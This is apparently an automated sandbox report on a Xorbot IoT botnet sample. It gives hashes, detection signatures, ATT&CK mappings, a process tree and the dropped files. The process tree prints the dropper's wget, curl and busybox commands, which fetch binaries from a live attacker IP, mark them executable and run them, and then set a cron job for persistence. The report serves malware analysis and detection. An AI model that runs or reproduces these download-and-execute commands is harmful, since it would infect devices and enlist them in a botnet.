xorbot | ae8f54b27e4ea23e62511aca57058db7f1508ef48b9db4d874a983dd57e39496

Analysis

max time kernel
149s
max time network
158s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/01/2025, 19:17

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General

Target

bins.sh
Size

10KB
MD5

e1c18218c4bce0c2a3dced659bbb5664
SHA1

902a9e76207c09235d03a5fe5f591c4de95fdefd
SHA256

ae8f54b27e4ea23e62511aca57058db7f1508ef48b9db4d874a983dd57e39496
SHA512

c312141105c2ae0b71020bb94acbc4fd0802560654fc5b4776fe7f338da1079c6fe35dda0cd5217d74505657ef6f2a9b8f618211da30ecd07fe459cd2aae284b
SSDEEP

192:TRrwd5rgFi2L9dJZASA+AMA5AZAuxtmd5rgFie9dTASA+AMA5AZAUr:TRrxxL9dJCdZ/iCuxtTL9dcdZ/iCUr

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
736	chmod
769	chmod
688	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69	690	cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC	737	hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
/tmp/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu	770	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu

Renames itself 1 IoCs

pid	Process
771	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.4xZ3Qo	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/651/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/43/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/643/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/216/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/796/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/3/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/26/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/4/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/11/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/18/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/24/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/41/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/149/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/649/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/653/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/812/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/196/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/284/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/781/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/800/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/808/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/23/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/267/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/648/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/785/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/798/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/12/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/13/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/21/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/22/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/25/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/28/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/108/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/329/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/806/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/814/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/141/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/269/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/650/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/786/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/804/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/810/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/27/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/583/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/316/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/782/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/802/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/10/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/17/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/42/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/145/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/169/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/604/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/19/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/783/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/1/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/14/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
File opened for reading	/proc/29/cmdline	2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69	wget
File opened for modification	/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69	curl
File opened for modification	/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC	curl
File opened for modification	/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC	busybox
File opened for modification	/tmp/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu	wget
File opened for modification	/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69	busybox
File opened for modification	/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC	wget
File opened for modification	/tmp/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu	curl
File opened for modification	/tmp/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:651
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:654
- /usr/bin/wget
  wget http://66.63.187.225/bins/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:680
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod 777 cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  ./cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69
  2⤵
  PID:692
- /usr/bin/wget
  wget http://66.63.187.225/bins/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - Writes file to tmp directory
  PID:694
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - Writes file to tmp directory
  PID:733
- /bin/chmod
  chmod 777 hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  ./hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC
  2⤵
  PID:739
- /usr/bin/wget
  wget http://66.63.187.225/bins/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
  2⤵
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
  2⤵
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
  ./2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:770
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:772
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:774
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:776
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:777
- /bin/rm
  rm 2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu
  2⤵
  PID:781
- /usr/bin/wget
  wget http://66.63.187.225/bins/ucmhNZ7fFrduZXQYFU8uFbBD669N6P6zWp
  2⤵
  PID:784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/2kby92fXoSWAyYNDw3EUIkzknsspnJcUQu

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/cPRhnQEbda2luB00KvoFQ9zJvP7xrDdi69

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/hydXtpeBXvgbEm41MBtVlCjUiX4KxWEpBC

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.4xZ3Qo

Filesize
210B

MD5
59e8a435c81fb8d4e8f92029e28848fb

SHA1
1e28a9ad9b8d623518905cb2c0a10379794361ac

SHA256
6180cc7e813e03d5d5ac587c29237b4110ee3a5d0fcfe5f8007022e378dfcfb1

SHA512
e63068f8114f245388e7e337618b7069ef1b0e7b0d5e880b7b64223e0814ae8ede91cfb1b6d95a60b6ed3933ae9af76a1a83ae150248193375e92ed300dab930

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads